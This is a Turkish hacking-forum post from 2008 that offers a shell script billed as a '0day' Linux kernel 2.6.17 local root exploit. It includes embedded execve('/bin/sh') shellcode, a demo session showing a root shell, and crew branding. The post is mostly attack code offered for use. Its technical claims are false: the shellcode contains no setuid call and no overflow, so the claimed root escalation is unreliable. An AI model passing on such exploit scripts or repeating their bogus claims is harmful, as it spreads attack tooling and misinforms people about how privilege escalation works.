hacked MASTER
Mesaj Sayısı : 199 Kayıt tarihi : 08/03/08
| Konu: Kernel Overflow Ediyoruz Ptsi Mart 10, 2008 11:48 pm | |
| Evet arkada$lar bu yazımda bir stack overflow exploiti nasıl kullanılır.Etkileri nelerdir neler yapılabilir biraz bahsedeceğim ve örnek bir exploiti vereceğim.Debian/Ubuntu Edgy 6.10 2.6.17-10-generic üzerinde gerçekle$tirdim testimi ba$arılı sonuç aldım Evet $imdi konu$mayı bırakalım ve teste ba$layalım... Exploit içinde yer alan shellcode sistem üzerinde setuidi 0 olarak çağırıyor ve execve ile /bin/sh'i çağırıyor.Internette bu tip shellcode'lara rastlayabilirsiniz.İlerleyen zamanlarda kendi shellcode'umuzu yazmayada değiniriz... Belirteyim shellcode enderunix'den murat balaban'a ait... Malum shellcode'umuz sistemde setuid 0 yaparak ve /bin/sh çağırarak bize bir nevi root shell spawn ediyor.Daha sonra biz sudo su komutu uygularsak sistem bizi setuid 0 olduğundan dolayı root olarak algılayacak ve bir $ifre sormayacaktır. Örnek hazırlanmı$ exploitin saldırı senaryosu a$ağıdaki gibidir... Örnek Saldırı Senaryosu:
Kod: canberx@canberx:~/Desktop$ iduid=1000(canberx) gid=1000(canberx) groups=4(adm)canberx@canberx:~/Desktop$ ./xploit.sh$ Kernel 2.6.17 Local Root by Overflow Xploit$ PoC & Xploit: canberX <c4nberx@gmail.com>$ Shellcode: Murat Balaban <murat@enderunix.org>$[*]$ Black Crew RuLz...$ Forever Black Crew,Damn RedHack,lol$ irc.gigachat.net #blackcrew or http://blackcrew.org$[*]$ Please wait xploit executed now...$ Now u can login as root without password$ Execute 'sudo su' command and show the magic $ Root Shell spawning $$ sudo suroot@canberx:/tmp# iduid=0(root) gid=0(root) gruplar=0(root)root@canberx:/tmp# Yukarıda da görüldüğü gibi bu tarz bir sistemde stack overflow yaparak sistemi kırmak hiç de zor değilmi$.Aksine sistem zorla$tıkça daha da eğlenceli bir hale geliyor İsteyenler için xploitin full halinide ben veriyorum.Bahsettiğm gibi shellcode murat balaban'a aitti ben saha /bin/bash programlama ile ufak bir xploit hazırladım sizlere. iyi günlerde kullanınız.... 0day Kernel 2.6.17 Local Root by Overflow Xploit:
#!/bin/sh # # 0day Kernel 2.6.17 Local Root Xploit # Overflow and setuid 0 # use "sudo su" for root login without password... # # PoC & Xploit by canberX <c4nberx@gmail.com> # Shellcode by Murat Balaban <murat@enderunix.org> # # Tested under Debian/Ubuntu Edgy 6.10 Kernel 2.6.17-10-generic # --------------------------------------------------------------- # canberx@canberx:~/Desktop$ id # uid=1000(canberx) gid=1000(canberx) groups=4(adm) # canberx@canberx:~/Desktop$ ./xploit.sh # $ Kernel 2.6.17 Local Root by Overflow Xploit # $ PoC & Xploit: canberX <c4nberx@gmail.com> # $ Shellcode: Murat Balaban <murat@enderunix.org> # $[*] # $ Black Crew RuLz... # $ Forever Black Crew,Damn RedHack,lol # $ irc.gigachat.net #blackcrew or http://blackcrew.org # $[*] # $ Please wait xploit executed now... # $ Now u can login as root without password # $ Execute 'sudo su' command and show the magic # $ Root Shell spawning # $ sudo su # root@canberx:/tmp# id # uid=0(root) gid=0(root) gruplar=0(root) # root@canberx:/tmp# # --------------------------------------------------------------- #
cat > /tmp/xploit.c << __EOF__ #include <stdio.h>
char shellcode[] = "\x31\xc0" /* xor %eax, %eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80"; /* int $0x80 */
int main() { void (*fp) (void); fp = (void *)shellcode; fp(); } __EOF__ echo "$ 0day Kernel 2.6.17 Local Root by Overflow Xploit" echo "$ PoC & Xploit: canberX <c4nberx@gmail.com>" echo "$ Shellcode: Murat Balaban <murat@enderunix.org>" echo "$[*]" echo "$ Black Crew RuLz..." echo "$ Forever Black Crew,Damn RedHack,lol" echo "$ irc.gigachat.net #blackcrew or http://blackcrew.org" echo "$[*]" echo "$ Please wait xploit executed now..." cd /tmp cc -o xploit xploit.c chmod 777 xploit echo "$ Now u can login as root without password" echo "$ Execute 'sudo su' command and show the magic " echo "$ Root Shell spawning " ./xploit rm xploit rm xploit.c | |
|